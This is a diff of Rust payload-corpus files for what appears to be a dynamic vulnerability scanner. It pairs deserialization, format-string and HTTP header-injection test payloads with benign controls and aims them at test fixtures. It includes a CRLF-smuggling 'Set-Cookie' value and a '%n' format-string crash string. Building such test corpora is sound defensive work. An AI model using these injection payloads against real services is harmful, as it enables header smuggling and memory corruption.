predicates: &[ProbePredicate::DeserializeGadgetInvoked {
|
||||
require_invoked: true,
|
||||
}],
|
||||
},
|
||||
is_benign: true,
|
||||
provenance: PayloadProvenance::Curated,
|
||||
since_corpus_version: 7,
|
||||
deprecated_at_corpus_version: None,
|
||||
fixture_paths: &["tests/dynamic_fixtures/deserialize/java/Benign.java"],
|
||||
oob_nonce_slot: false,
|
||||
probe_predicates: &[],
|
||||
benign_control: None,
|
||||
no_benign_control_rationale: None,
|
||||
},
|
||||
];
|
||||
17
src/dynamic/corpus/deserialize/mod.rs
Normal file
17
src/dynamic/corpus/deserialize/mod.rs
Normal file
|
|
@ -0,0 +1,17 @@
|
|||
//! Deserialization (`Cap::DESERIALIZE`) per-language payload slices.
|
||||
//!
|
||||
//! Phase 03 (Track J.1) lands the first cap end-to-end: Java
|
||||
//! (`ObjectInputStream.readObject` / `XMLDecoder`), Python (`pickle.loads`
|
||||
//! / `yaml.unsafe_load`), PHP (`unserialize`), and Ruby (`Marshal.load`
|
||||
//! / `YAML.load`). Every vuln payload is paired with a benign control
|
||||
//! whose oracle should *not* fire — the per-language harness shims
|
||||
//! emit a [`crate::dynamic::probe::ProbeKind::Deserialize`] record with
|
||||
//! `gadget_chain_invoked: true` when a non-allowlisted gadget class is
|
||||
//! materialised by the instrumented deserialiser; benign well-formed
|
||||
//! serialized data does not reach the allowlist boundary and so leaves
|
||||
//! no Deserialize probe.
|
||||
|
||||
pub mod java;
|
||||
pub mod php;
|
||||
pub mod python;
|
||||
pub mod ruby;
|
||||
60
src/dynamic/corpus/deserialize/php.rs
Normal file
60
src/dynamic/corpus/deserialize/php.rs
Normal file
|
|
@ -0,0 +1,60 @@
|
|||
//! PHP `Cap::DESERIALIZE` payloads.
|
||||
//!
|
||||
//! Vuln payload: marker string handed to `unserialize($input)` where the
|
||||
//! harness wraps the call with `['allowed_classes' => false]` and an
|
||||
//! observer on `__wakeup`. When `unserialize` materialises a
|
||||
//! `__PHP_Incomplete_Class` from a non-allowlisted class name, the
|
||||
//! observer emits a `ProbeKind::Deserialize { gadget_chain_invoked:
|
||||
//! true }` probe.
|
||||
//!
|
||||
//! Benign control: serialised primitive (an `int`) that
|
||||
//! `unserialize` materialises without engaging the allowlist boundary.
|
||||
|
||||
use super::super::{CuratedPayload, Oracle, PayloadProvenance, PayloadRef};
|
||||
use crate::dynamic::oracle::ProbePredicate;
|
||||
|
||||
pub const PAYLOADS: &[CuratedPayload] = &[
|
||||
CuratedPayload {
|
||||
bytes: b"NYX_GADGET_CLASS:PHP_Object_Injection_RCE",
|
||||
label: "php-unserialize-gadget",
|
||||
oracle: Oracle::SinkProbe {
|
||||
predicates: &[ProbePredicate::DeserializeGadgetInvoked {
|
||||
require_invoked: true,
|
||||
}],
|
||||
},
|
||||
is_benign: false,
|
||||
provenance: PayloadProvenance::Curated,
|
||||
since_corpus_version: 7,
|
||||
deprecated_at_corpus_version: None,
|
||||
fixture_paths: &["tests/dynamic_fixtures/deserialize/php/vuln.php"],
|
||||
oob_nonce_slot: false,
|
||||
probe_predicates: &[ProbePredicate::DeserializeGadgetInvoked {
|
||||
require_invoked: true,
|
||||
}],
|
||||
benign_control: Some(PayloadRef {
|
||||
label: "php-unserialize-benign",
|
||||
}),
|
||||
no_benign_control_rationale: None,
|
||||
},
|
||||
CuratedPayload {
|
||||
// Allow-listed marker — the harness allowlist accepts
|
||||
// `__primitive_int` as a no-op type representing a serialised
|
||||
// integer literal.
|
||||
bytes: b"NYX_GADGET_CLASS:__primitive_int",
|
||||
label: "php-unserialize-benign",
|
||||
oracle: Oracle::SinkProbe {
|
||||
predicates: &[ProbePredicate::DeserializeGadgetInvoked {
|
||||
require_invoked: true,
|
||||
}],
|
||||
},
|
||||
is_benign: true,
|
||||
provenance: PayloadProvenance::Curated,
|
||||
since_corpus_version: 7,
|
||||
deprecated_at_corpus_version: None,
|
||||
fixture_paths: &["tests/dynamic_fixtures/deserialize/php/benign.php"],
|
||||
oob_nonce_slot: false,
|
||||
probe_predicates: &[],
|
||||
benign_control: None,
|
||||
no_benign_control_rationale: None,
|
||||
},
|
||||
];
|
||||
56
src/dynamic/corpus/deserialize/python.rs
Normal file
56
src/dynamic/corpus/deserialize/python.rs
Normal file
|
|
@ -0,0 +1,56 @@
|
|||
//! Python `Cap::DESERIALIZE` payloads.
|
||||
//!
|
||||
//! Vuln payload: marker string consumed by the harness shim which calls
|
||||
//! `pickle.Unpickler(...).load()` with `find_class` overridden to record
|
||||
//! a `ProbeKind::Deserialize { gadget_chain_invoked: true }` whenever a
|
||||
//! non-allowlisted class is requested. The harness allowlists
|
||||
//! `builtins.list` / `builtins.dict` / `builtins.int`; the marker class
|
||||
//! `nyx.gadget.RCE` is outside that set.
|
||||
//!
|
||||
//! Benign control: payload requests only allow-listed builtins.
|
||||
|
||||
use super::super::{CuratedPayload, Oracle, PayloadProvenance, PayloadRef};
|
||||
use crate::dynamic::oracle::ProbePredicate;
|
||||
|
||||
pub const PAYLOADS: &[CuratedPayload] = &[
|
||||
CuratedPayload {
|
||||
bytes: b"NYX_GADGET_CLASS:nyx.gadget.RCE",
|
||||
label: "python-pickle-gadget",
|
||||
oracle: Oracle::SinkProbe {
|
||||
predicates: &[ProbePredicate::DeserializeGadgetInvoked {
|
||||
require_invoked: true,
|
||||
}],
|
||||
},
|
||||
is_benign: false,
|
||||
provenance: PayloadProvenance::Curated,
|
||||
since_corpus_version: 7,
|
||||
deprecated_at_corpus_version: None,
|
||||
fixture_paths: &["tests/dynamic_fixtures/deserialize/python/vuln.py"],
|
||||
oob_nonce_slot: false,
|
||||
probe_predicates: &[ProbePredicate::DeserializeGadgetInvoked {
|
||||
require_invoked: true,
|
||||
}],
|
||||
benign_control: Some(PayloadRef {
|
||||
label: "python-pickle-benign",
|
||||
}),
|
||||
no_benign_control_rationale: None,
|
||||
},
|
||||
CuratedPayload {
|
||||
bytes: b"NYX_GADGET_CLASS:builtins.list",
|
||||
label: "python-pickle-benign",
|
||||
oracle: Oracle::SinkProbe {
|
||||
predicates: &[ProbePredicate::DeserializeGadgetInvoked {
|
||||
require_invoked: true,
|
||||
}],
|
||||
},
|
||||
is_benign: true,
|
||||
provenance: PayloadProvenance::Curated,
|
||||
since_corpus_version: 7,
|
||||
deprecated_at_corpus_version: None,
|
||||
fixture_paths: &["tests/dynamic_fixtures/deserialize/python/benign.py"],
|
||||
oob_nonce_slot: false,
|
||||
probe_predicates: &[],
|
||||
benign_control: None,
|
||||
no_benign_control_rationale: None,
|
||||
},
|
||||
];
|
||||
57
src/dynamic/corpus/deserialize/ruby.rs
Normal file
57
src/dynamic/corpus/deserialize/ruby.rs
Normal file
|
|
@ -0,0 +1,57 @@
|
|||
//! Ruby `Cap::DESERIALIZE` payloads.
|
||||
//!
|
||||
//! Vuln payload: marker string consumed by the harness shim which calls
|
||||
//! `Marshal.load(input)` with `Marshal.const_defined?`-style
|
||||
//! instrumentation that records a `ProbeKind::Deserialize {
|
||||
//! gadget_chain_invoked: true }` probe whenever a non-allowlisted
|
||||
//! constant is materialised. The harness allowlist contains `Integer`
|
||||
//! / `String` / `Array`.
|
||||
//!
|
||||
//! Benign control: marker requests only the allow-listed `Integer`
|
||||
//! constant.
|
||||
|
||||
use super::super::{CuratedPayload, Oracle, PayloadProvenance, PayloadRef};
|
||||
use crate::dynamic::oracle::ProbePredicate;
|
||||
|
||||
pub const PAYLOADS: &[CuratedPayload] = &[
|
||||
CuratedPayload {
|
||||
bytes: b"NYX_GADGET_CLASS:Nyx::Gadget::RCE",
|
||||
label: "ruby-marshal-gadget",
|
||||
oracle: Oracle::SinkProbe {
|
||||
predicates: &[ProbePredicate::DeserializeGadgetInvoked {
|
||||
require_invoked: true,
|
||||
}],
|
||||
},
|
||||
is_benign: false,
|
||||
provenance: PayloadProvenance::Curated,
|
||||
since_corpus_version: 7,
|
||||
deprecated_at_corpus_version: None,
|
||||
fixture_paths: &["tests/dynamic_fixtures/deserialize/ruby/vuln.rb"],
|
||||
oob_nonce_slot: false,
|
||||
probe_predicates: &[ProbePredicate::DeserializeGadgetInvoked {
|
||||
require_invoked: true,
|
||||
}],
|
||||
benign_control: Some(PayloadRef {
|
||||
label: "ruby-marshal-benign",
|
||||
}),
|
||||
no_benign_control_rationale: None,
|
||||
},
|
||||
CuratedPayload {
|
||||
bytes: b"NYX_GADGET_CLASS:Integer",
|
||||
label: "ruby-marshal-benign",
|
||||
oracle: Oracle::SinkProbe {
|
||||
predicates: &[ProbePredicate::DeserializeGadgetInvoked {
|
||||
require_invoked: true,
|
||||
}],
|
||||
},
|
||||
is_benign: true,
|
||||
provenance: PayloadProvenance::Curated,
|
||||
since_corpus_version: 7,
|
||||
deprecated_at_corpus_version: None,
|
||||
fixture_paths: &["tests/dynamic_fixtures/deserialize/ruby/benign.rb"],
|
||||
oob_nonce_slot: false,
|
||||
probe_predicates: &[],
|
||||
benign_control: None,
|
||||
no_benign_control_rationale: None,
|
||||
},
|
||||
];
|
||||
56
src/dynamic/corpus/fmt_string/c.rs
Normal file
56
src/dynamic/corpus/fmt_string/c.rs
Normal file
|
|
@ -0,0 +1,56 @@
|
|||
//! Format-string (`Cap::FMT_STRING`) payloads exercised by C fixtures
|
||||
//! (`tests/dynamic_fixtures/c/free_fn/`).
|
||||
//!
|
||||
//! The vuln payload confirms via a sink-site Crash probe rather than an
|
||||
//! output marker. The bytes themselves are not load-bearing — the
|
||||
//! detection contract is "process aborts inside the entry call AFTER the
|
||||
//! crash-guard installs". Fixtures choose how to crash on the payload;
|
||||
//! the canonical example is a `printf`-family sink that interprets `%n`
|
||||
//! against a controlled destination pointer on a guard-compiled binary.
|
||||
//!
|
||||
//! The benign control must reach the same entry without crashing; its
|
||||
//! bytes carry `NYX_BENIGN` so fixture code can short-circuit before
|
||||
//! the fault path.
|
||||
|
||||
use super::super::{CuratedPayload, Oracle, PayloadProvenance, PayloadRef};
|
||||
use crate::dynamic::oracle::SignalSet;
|
||||
|
||||
pub const PAYLOADS: &[CuratedPayload] = &[
|
||||
CuratedPayload {
|
||||
bytes: b"%n%n%n%n%n%n%n%n%n%n",
|
||||
label: "fmt-string-percent-n-crash",
|
||||
oracle: Oracle::SinkCrash {
|
||||
signals: SignalSet::all(),
|
||||
},
|
||||
is_benign: false,
|
||||
provenance: PayloadProvenance::Curated,
|
||||
since_corpus_version: 5,
|
||||
deprecated_at_corpus_version: None,
|
||||
fixture_paths: &[
|
||||
"tests/dynamic_fixtures/c/free_fn/sink_fault.c",
|
||||
"tests/dynamic_fixtures/c/free_fn/setup_fault.c",
|
||||
],
|
||||
oob_nonce_slot: false,
|
||||
probe_predicates: &[],
|
||||
benign_control: Some(PayloadRef {
|
||||
label: "fmt-string-benign",
|
||||
}),
|
||||
no_benign_control_rationale: None,
|
||||
},
|
||||
CuratedPayload {
|
||||
bytes: b"benign_safe_fmt_NYX_BENIGN",
|
||||
label: "fmt-string-benign",
|
||||
oracle: Oracle::SinkCrash {
|
||||
signals: SignalSet::all(),
|
||||
},
|
||||
is_benign: true,
|
||||
provenance: PayloadProvenance::Curated,
|
||||
since_corpus_version: 5,
|
||||
deprecated_at_corpus_version: None,
|
||||
fixture_paths: &["tests/dynamic_fixtures/c/free_fn/sink_fault.c"],
|
||||
oob_nonce_slot: false,
|
||||
probe_predicates: &[],
|
||||
benign_control: None,
|
||||
no_benign_control_rationale: None,
|
||||
},
|
||||
];
|
||||
3
src/dynamic/corpus/fmt_string/mod.rs
Normal file
3
src/dynamic/corpus/fmt_string/mod.rs
Normal file
|
|
@ -0,0 +1,3 @@
|
|||
//! Format-string (`Cap::FMT_STRING`) per-language payload slices.
|
||||
|
||||
pub mod c;
|
||||
56
src/dynamic/corpus/header_injection/go.rs
Normal file
56
src/dynamic/corpus/header_injection/go.rs
Normal file
|
|
@ -0,0 +1,56 @@
|
|||
//! Go `Cap::HEADER_INJECTION` payloads —
|
||||
//! `http.ResponseWriter.Header().Set` CRLF injection.
|
||||
//!
|
||||
//! Vuln payload: a cookie value followed by `\r\nSet-Cookie:
|
||||
//! nyx-injected=pwn`. Spliced into the host's `w.Header().Set("Set-
|
||||
//! Cookie", value)` call without CRLF stripping.
|
||||
//!
|
||||
//! Benign control: same logical cookie value pre-encoded with
|
||||
//! `net/url.QueryEscape`. Captured value carries `%0D%0A` so the
|
||||
//! predicate stays clear.
|
||||
|
||||
use super::super::{CuratedPayload, Oracle, PayloadProvenance, PayloadRef};
|
||||
use crate::dynamic::oracle::ProbePredicate;
|
||||
|
||||
pub const PAYLOADS: &[CuratedPayload] = &[
|
||||
CuratedPayload {
|
||||
bytes: b"nyx-session\r\nSet-Cookie: nyx-injected=pwn",
|
||||
label: "header-injection-go-crlf",
|
||||
oracle: Oracle::SinkProbe {
|
||||
predicates: &[ProbePredicate::HeaderInjected {
|
||||
header_name: "Set-Cookie",
|
||||
}],
|
||||
},
|
||||
is_benign: false,
|
||||
provenance: PayloadProvenance::Curated,
|
||||
since_corpus_version: 12,
|
||||
deprecated_at_corpus_version: None,
|
||||
fixture_paths: &["tests/dynamic_fixtures/header_injection/go/vuln.go"],
|
||||
oob_nonce_slot: false,
|
||||
probe_predicates: &[ProbePredicate::HeaderInjected {
|
||||
header_name: "Set-Cookie",
|
||||
}],
|
||||
benign_control: Some(PayloadRef {
|
||||
label: "header-injection-go-benign",
|
||||
}),
|
||||
no_benign_control_rationale: None,
|
||||
},
|
||||
CuratedPayload {
|
||||
bytes: b"nyx-session%0D%0ASet-Cookie%3A%20nyx-injected%3Dpwn",
|
||||
label: "header-injection-go-benign",
|
||||
oracle: Oracle::SinkProbe {
|
||||
predicates: &[ProbePredicate::HeaderInjected {
|
||||
header_name: "Set-Cookie",
|
||||
}],
|
||||
},
|
||||
is_benign: true,
|
||||
provenance: PayloadProvenance::Curated,
|
||||
since_corpus_version: 12,
|
||||
deprecated_at_corpus_version: None,
|
||||
fixture_paths: &["tests/dynamic_fixtures/header_injection/go/benign.go"],
|
||||
oob_nonce_slot: false,
|
||||
probe_predicates: &[],
|
||||
benign_control: None,
|
||||
no_benign_control_rationale: None,
|
||||
},
|
||||
];
|
||||
122
src/dynamic/corpus/header_injection/java.rs
Normal file
122
src/dynamic/corpus/header_injection/java.rs
Normal file
|
|
@ -0,0 +1,122 @@
|
|||
//! Java `Cap::HEADER_INJECTION` payloads —
|
||||
//! `HttpServletResponse.setHeader` CRLF injection.
|
||||
//!
|
||||
//! Vuln payload: a cookie value followed by `\r\nSet-Cookie:
|
||||
//! nyx-injected=pwn`. Concatenated into the host's
|
||||
//! `response.setHeader("Set-Cookie", value)` call without CRLF
|
||||
//! stripping, the wire response carries the attacker's second
|
||||
//! header. The harness's instrumented `setHeader` records a
|
||||
//! `ProbeKind::HeaderEmit { name: "Set-Cookie", value: <raw bytes> }`
|
||||
//! probe with the unescaped CRLF intact.
|
||||
//!
|
||||
//! Benign control: same logical session-id, but the harness's
|
||||
//! benign code path runs the value through `URLEncoder.encode(...,
|
||||
//! "UTF-8")` so the carried bytes become
|
||||
//! `nyx-session%0D%0ASet-Cookie%3A%20nyx-injected%3Dpwn`. The
|
||||
//! captured value has no literal `\r\n`; the
|
||||
//! [`ProbePredicate::HeaderInjected`] predicate stays clear.
|
||||
|
||||
use super::super::{CuratedPayload, Oracle, PayloadProvenance, PayloadRef};
|
||||
use crate::dynamic::oracle::ProbePredicate;
|
||||
|
||||
pub const PAYLOADS: &[CuratedPayload] = &[
|
||||
CuratedPayload {
|
||||
bytes: b"nyx-session\r\nSet-Cookie: nyx-injected=pwn",
|
||||
label: "header-injection-java-crlf",
|
||||
oracle: Oracle::SinkProbe {
|
||||
predicates: &[ProbePredicate::HeaderInjected {
|
||||
header_name: "Set-Cookie",
|
||||
}],
|
||||
},
|
||||
is_benign: false,
|
||||
provenance: PayloadProvenance::Curated,
|
||||
since_corpus_version: 12,
|
||||
deprecated_at_corpus_version: None,
|
||||
fixture_paths: &["tests/dynamic_fixtures/header_injection/java/Vuln.java"],
|
||||
oob_nonce_slot: false,
|
||||
probe_predicates: &[ProbePredicate::HeaderInjected {
|
||||
header_name: "Set-Cookie",
|
||||
}],
|
||||
benign_control: Some(PayloadRef {
|
||||
label: "header-injection-java-benign",
|
||||
}),
|
||||
no_benign_control_rationale: None,
|
||||
},
|
||||
CuratedPayload {
|
||||
bytes: b"nyx-session%0D%0ASet-Cookie%3A%20nyx-injected%3Dpwn",
|
||||
label: "header-injection-java-benign",
|
||||
oracle: Oracle::SinkProbe {
|
||||
predicates: &[ProbePredicate::HeaderInjected {
|
||||
header_name: "Set-Cookie",
|
||||
}],
|
||||
},
|
||||
is_benign: true,
|
||||
provenance: PayloadProvenance::Curated,
|
||||
since_corpus_version: 12,
|
||||
deprecated_at_corpus_version: None,
|
||||
fixture_paths: &["tests/dynamic_fixtures/header_injection/java/Benign.java"],
|
||||
oob_nonce_slot: false,
|
||||
probe_predicates: &[],
|
||||
benign_control: None,
|
||||
no_benign_control_rationale: None,
|
||||
},
|
||||
// Phase 08 tier-(b): raw-socket wire-frame smuggling payload.
|
||||
// Same CRLF-bearing bytes as the servlet payload above, but pinned
|
||||
// to the `java_raw` fixture (a `java.net.ServerSocket` driven by
|
||||
// `createServer` + `runOnce` that writes raw bytes via
|
||||
// `OutputStream.write(byte[])`). The wire frame captured off the
|
||||
// response socket carries two distinct `Set-Cookie:` lines, so
|
||||
// `HeaderSmuggledInWire { primary: "Set-Cookie", smuggled:
|
||||
// "Set-Cookie" }` fires — proving the smuggled header survived
|
||||
// to the actual wire instead of being CRLF-stripped en route by
|
||||
// Tomcat / Jetty / Undertow.
|
||||
//
|
||||
// Distinct payload (not just an extra predicate on the servlet
|
||||
// row) because every modern Java servlet container response
|
||||
// serializer strips CRLF at the wire-write boundary, so the
|
||||
// wire-frame predicate would never fire against the canonical
|
||||
// servlet fixture.
|
||||
CuratedPayload {
|
||||
bytes: b"nyx-session\r\nSet-Cookie: nyx-injected=pwn",
|
||||
label: "header-injection-java-raw-wire-smuggle",
|
||||
oracle: Oracle::SinkProbe {
|
||||
predicates: &[ProbePredicate::HeaderSmuggledInWire {
|
||||
primary: "Set-Cookie",
|
||||
smuggled: "Set-Cookie",
|
||||
}],
|
||||
},
|
||||
is_benign: false,
|
||||
provenance: PayloadProvenance::Curated,
|
||||
since_corpus_version: 12,
|
||||
deprecated_at_corpus_version: None,
|
||||
fixture_paths: &["tests/dynamic_fixtures/header_injection/java_raw/Vuln.java"],
|
||||
oob_nonce_slot: false,
|
||||
probe_predicates: &[ProbePredicate::HeaderSmuggledInWire {
|
||||
primary: "Set-Cookie",
|
||||
smuggled: "Set-Cookie",
|
||||
}],
|
||||
benign_control: Some(PayloadRef {
|
||||
label: "header-injection-java-raw-benign",
|
||||
}),
|
||||
no_benign_control_rationale: None,
|
||||
},
|
||||
CuratedPayload {
|
||||
bytes: b"nyx-session%0D%0ASet-Cookie%3A%20nyx-injected%3Dpwn",
|
||||
label: "header-injection-java-raw-benign",
|
||||
oracle: Oracle::SinkProbe {
|
||||
predicates: &[ProbePredicate::HeaderSmuggledInWire {
|
||||
primary: "Set-Cookie",
|
||||
smuggled: "Set-Cookie",
|
||||
}],
|
||||
},
|
||||
is_benign: true,
|
||||
provenance: PayloadProvenance::Curated,
|
||||
since_corpus_version: 12,
|
||||
deprecated_at_corpus_version: None,
|
||||
fixture_paths: &["tests/dynamic_fixtures/header_injection/java_raw/Vuln.java"],
|
||||
oob_nonce_slot: false,
|
||||
probe_predicates: &[],
|
||||
benign_control: None,
|
||||
no_benign_control_rationale: None,
|
||||
},
|
||||
];
|
||||
114
src/dynamic/corpus/header_injection/js.rs
Normal file
114
src/dynamic/corpus/header_injection/js.rs
Normal file
|
|
@ -0,0 +1,114 @@
|
|||
//! JavaScript `Cap::HEADER_INJECTION` payloads —
|
||||
//! `http.ServerResponse#setHeader` CRLF injection.
|
||||
//!
|
||||
//! Vuln payload: a cookie value followed by `\r\nSet-Cookie:
|
||||
//! nyx-injected=pwn`. Spliced into the host's
|
||||
//! `res.setHeader('Set-Cookie', value)` call without CRLF stripping.
|
||||
//!
|
||||
//! Benign control: same logical cookie value pre-encoded with
|
||||
//! `encodeURIComponent`. Captured value carries `%0D%0A` so the
|
||||
//! predicate stays clear.
|
||||
|
||||
use super::super::{CuratedPayload, Oracle, PayloadProvenance, PayloadRef};
|
||||
use crate::dynamic::oracle::ProbePredicate;
|
||||
|
||||
pub const PAYLOADS: &[CuratedPayload] = &[
|
||||
CuratedPayload {
|
||||
bytes: b"nyx-session\r\nSet-Cookie: nyx-injected=pwn",
|
||||
label: "header-injection-js-crlf",
|
||||
oracle: Oracle::SinkProbe {
|
||||
predicates: &[ProbePredicate::HeaderInjected {
|
||||
header_name: "Set-Cookie",
|
||||
}],
|
||||
},
|
||||
is_benign: false,
|
||||
provenance: PayloadProvenance::Curated,
|
||||
since_corpus_version: 12,
|
||||
deprecated_at_corpus_version: None,
|
||||
fixture_paths: &["tests/dynamic_fixtures/header_injection/js/vuln.js"],
|
||||
oob_nonce_slot: false,
|
||||
probe_predicates: &[ProbePredicate::HeaderInjected {
|
||||
header_name: "Set-Cookie",
|
||||
}],
|
||||
benign_control: Some(PayloadRef {
|
||||
label: "header-injection-js-benign",
|
||||
}),
|
||||
no_benign_control_rationale: None,
|
||||
},
|
||||
CuratedPayload {
|
||||
bytes: b"nyx-session%0D%0ASet-Cookie%3A%20nyx-injected%3Dpwn",
|
||||
label: "header-injection-js-benign",
|
||||
oracle: Oracle::SinkProbe {
|
||||
predicates: &[ProbePredicate::HeaderInjected {
|
||||
header_name: "Set-Cookie",
|
||||
}],
|
||||
},
|
||||
is_benign: true,
|
||||
provenance: PayloadProvenance::Curated,
|
||||
since_corpus_version: 12,
|
||||
deprecated_at_corpus_version: None,
|
||||
fixture_paths: &["tests/dynamic_fixtures/header_injection/js/benign.js"],
|
||||
oob_nonce_slot: false,
|
||||
probe_predicates: &[],
|
||||
benign_control: None,
|
||||
no_benign_control_rationale: None,
|
||||
},
|
||||
// Phase 08 tier-(b): raw-socket wire-frame smuggling payload.
|
||||
// Same CRLF-bearing bytes as the Node payload above, but pinned to
|
||||
// the `js_raw` fixture (a `net.createServer` callback writing raw
|
||||
// bytes via `socket.write`). The wire frame captured off the
|
||||
// response socket carries two distinct `Set-Cookie:` lines, so
|
||||
// `HeaderSmuggledInWire { primary: "Set-Cookie", smuggled:
|
||||
// "Set-Cookie" }` fires — proving the smuggled header survived to
|
||||
// the actual wire instead of being CRLF-stripped en route.
|
||||
//
|
||||
// Distinct payload (not just an extra predicate on the Node row)
|
||||
// because Node's `http.ServerResponse#setHeader` validator strips
|
||||
// CRLF at the wire-write boundary, so the wire-frame predicate
|
||||
// would never fire against the canonical Node fixture. See
|
||||
// `.pitboss/play/deferred.md` (Phase 08 wire-frame option A) for
|
||||
// the framework-level CRLF-strip empirical from session-0018.
|
||||
CuratedPayload {
|
||||
bytes: b"nyx-session\r\nSet-Cookie: nyx-injected=pwn",
|
||||
label: "header-injection-js-raw-wire-smuggle",
|
||||
oracle: Oracle::SinkProbe {
|
||||
predicates: &[ProbePredicate::HeaderSmuggledInWire {
|
||||
primary: "Set-Cookie",
|
||||
smuggled: "Set-Cookie",
|
||||
}],
|
||||
},
|
||||
is_benign: false,
|
||||
provenance: PayloadProvenance::Curated,
|
||||
since_corpus_version: 12,
|
||||
deprecated_at_corpus_version: None,
|
||||
fixture_paths: &["tests/dynamic_fixtures/header_injection/js_raw/vuln.js"],
|
||||
oob_nonce_slot: false,
|
||||
probe_predicates: &[ProbePredicate::HeaderSmuggledInWire {
|
||||
primary: "Set-Cookie",
|
||||
smuggled: "Set-Cookie",
|
||||
}],
|
||||
benign_control: Some(PayloadRef {
|
||||
label: "header-injection-js-raw-benign",
|
||||
}),
|
||||
no_benign_control_rationale: None,
|
||||
},
|
||||
CuratedPayload {
|
||||
bytes: b"nyx-session%0D%0ASet-Cookie%3A%20nyx-injected%3Dpwn",
|
||||
label: "header-injection-js-raw-benign",
|
||||
oracle: Oracle::SinkProbe {
|
||||
predicates: &[ProbePredicate::HeaderSmuggledInWire {
|
||||
primary: "Set-Cookie",
|
||||
smuggled: "Set-Cookie",
|
||||
}],
|
||||
},
|
||||
is_benign: true,
|
||||
provenance: PayloadProvenance::Curated,
|
||||
since_corpus_version: 12,
|
||||
deprecated_at_corpus_version: None,
|
||||
fixture_paths: &["tests/dynamic_fixtures/header_injection/js_raw/vuln.js"],
|
||||
oob_nonce_slot: false,
|
||||
probe_predicates: &[],
|
||||
benign_control: None,
|
||||
no_benign_control_rationale: None,
|
||||
},
|
||||
];
|
||||
31
src/dynamic/corpus/header_injection/mod.rs
Normal file
31
src/dynamic/corpus/header_injection/mod.rs
Normal file
|
|
@ -0,0 +1,31 @@
|
|||
//! HTTP response-header CRLF injection (`Cap::HEADER_INJECTION`)
|
||||
//! per-language payload slices.
|
||||
//!
|
||||
//! Phase 08 (Track J.6) carves header injection across the seven HTTP
|
||||
//! framework ecosystems Nyx supports: Java (`HttpServletResponse.
|
||||
//! setHeader`), Python (`flask.Response.headers.__setitem__`), PHP
|
||||
//! (`header()`), Ruby (`Rack::Response#set_header`), JavaScript
|
||||
//! (`http.ServerResponse#setHeader`), Go (`http.ResponseWriter.
|
||||
//! Header().Set`), Rust (`axum`-style `HeaderMap::insert`). Every
|
||||
//! vuln payload appends a `\r\n` followed by an injected header line
|
||||
//! (`Set-Cookie: nyx-injected=pwn`) — once the host code splices the
|
||||
//! attacker bytes into the response writer's value argument the wire
|
||||
//! actually carries two headers instead of one. The paired benign
|
||||
//! control passes the same logical value through the per-language URL
|
||||
//! encoder so the captured value carries `%0d%0a` (not the raw
|
||||
//! bytes), the encoded text is preserved verbatim inside a single
|
||||
//! header value, and the differential rule stays clear.
|
||||
//!
|
||||
//! The oracle's
|
||||
//! [`crate::dynamic::oracle::ProbePredicate::HeaderInjected`] reads
|
||||
//! the per-payload `ProbeKind::HeaderEmit { name, value }` records
|
||||
//! and fires when the value contains a literal CRLF byte pair —
|
||||
//! vuln passes, benign clears, fulfilling the §4.1 differential rule.
|
||||
|
||||
pub mod go;
|
||||
pub mod java;
|
||||
pub mod js;
|
||||
pub mod php;
|
||||
pub mod python;
|
||||
pub mod ruby;
|
||||
pub mod rust;
|
||||
117
src/dynamic/corpus/header_injection/php.rs
Normal file
117
src/dynamic/corpus/header_injection/php.rs
Normal file
|
|
@ -0,0 +1,117 @@
|
|||
//! PHP `Cap::HEADER_INJECTION` payloads — `header()` CRLF injection.
|
||||
//!
|
||||
//! Vuln payload: a cookie value followed by `\r\nSet-Cookie:
|
||||
//! nyx-injected=pwn`. Concatenated into the host's `header("Set-
|
||||
//! Cookie: " . $value)` call without CRLF stripping, the wire response
|
||||
//! carries the attacker's second header. The harness's instrumented
|
||||
//! `header()` records a `ProbeKind::HeaderEmit` probe with the
|
||||
//! unescaped CRLF intact.
|
||||
//!
|
||||
//! Benign control: same logical cookie value pre-encoded with PHP's
|
||||
//! `urlencode`. Captured value carries `%0D%0A` so the predicate
|
||||
//! stays clear.
|
||||
|
||||
use super::super::{CuratedPayload, Oracle, PayloadProvenance, PayloadRef};
|
||||
use crate::dynamic::oracle::ProbePredicate;
|
||||
|
||||
pub const PAYLOADS: &[CuratedPayload] = &[
|
||||
CuratedPayload {
|
||||
bytes: b"nyx-session\r\nSet-Cookie: nyx-injected=pwn",
|
||||
label: "header-injection-php-crlf",
|
||||
oracle: Oracle::SinkProbe {
|
||||
predicates: &[ProbePredicate::HeaderInjected {
|
||||
header_name: "Set-Cookie",
|
||||
}],
|
||||
},
|
||||
is_benign: false,
|
||||
provenance: PayloadProvenance::Curated,
|
||||
since_corpus_version: 12,
|
||||
deprecated_at_corpus_version: None,
|
||||
fixture_paths: &["tests/dynamic_fixtures/header_injection/php/vuln.php"],
|
||||
oob_nonce_slot: false,
|
||||
probe_predicates: &[ProbePredicate::HeaderInjected {
|
||||
header_name: "Set-Cookie",
|
||||
}],
|
||||
benign_control: Some(PayloadRef {
|
||||
label: "header-injection-php-benign",
|
||||
}),
|
||||
no_benign_control_rationale: None,
|
||||
},
|
||||
CuratedPayload {
|
||||
bytes: b"nyx-session%0D%0ASet-Cookie%3A%20nyx-injected%3Dpwn",
|
||||
label: "header-injection-php-benign",
|
||||
oracle: Oracle::SinkProbe {
|
||||
predicates: &[ProbePredicate::HeaderInjected {
|
||||
header_name: "Set-Cookie",
|
||||
}],
|
||||
},
|
||||
is_benign: true,
|
||||
provenance: PayloadProvenance::Curated,
|
||||
since_corpus_version: 12,
|
||||
deprecated_at_corpus_version: None,
|
||||
fixture_paths: &["tests/dynamic_fixtures/header_injection/php/benign.php"],
|
||||
oob_nonce_slot: false,
|
||||
probe_predicates: &[],
|
||||
benign_control: None,
|
||||
no_benign_control_rationale: None,
|
||||
},
|
||||
// Phase 08 tier-(b): raw-socket wire-frame smuggling payload.
|
||||
// Same CRLF-bearing bytes as the `header()` payload above, but
|
||||
// pinned to the `php_raw` fixture (a `stream_socket_server` driven
|
||||
// by `create_server` + `run_once` that writes raw bytes via
|
||||
// `fwrite($conn, $raw)`). The wire frame captured off the
|
||||
// response socket carries two distinct `Set-Cookie:` lines, so
|
||||
// `HeaderSmuggledInWire { primary: "Set-Cookie", smuggled:
|
||||
// "Set-Cookie" }` fires — proving the smuggled header survived to
|
||||
// the actual wire instead of being CRLF-stripped en route.
|
||||
//
|
||||
// Distinct payload (not just an extra predicate on the `header()`
|
||||
// row) because PHP's built-in `header()` rejects raw CRLF since
|
||||
// 5.1.2 and modern Slim / Laravel / Symfony response serializers
|
||||
// strip CRLF at the wire-write boundary, so the wire-frame
|
||||
// predicate would never fire against the canonical `header()`
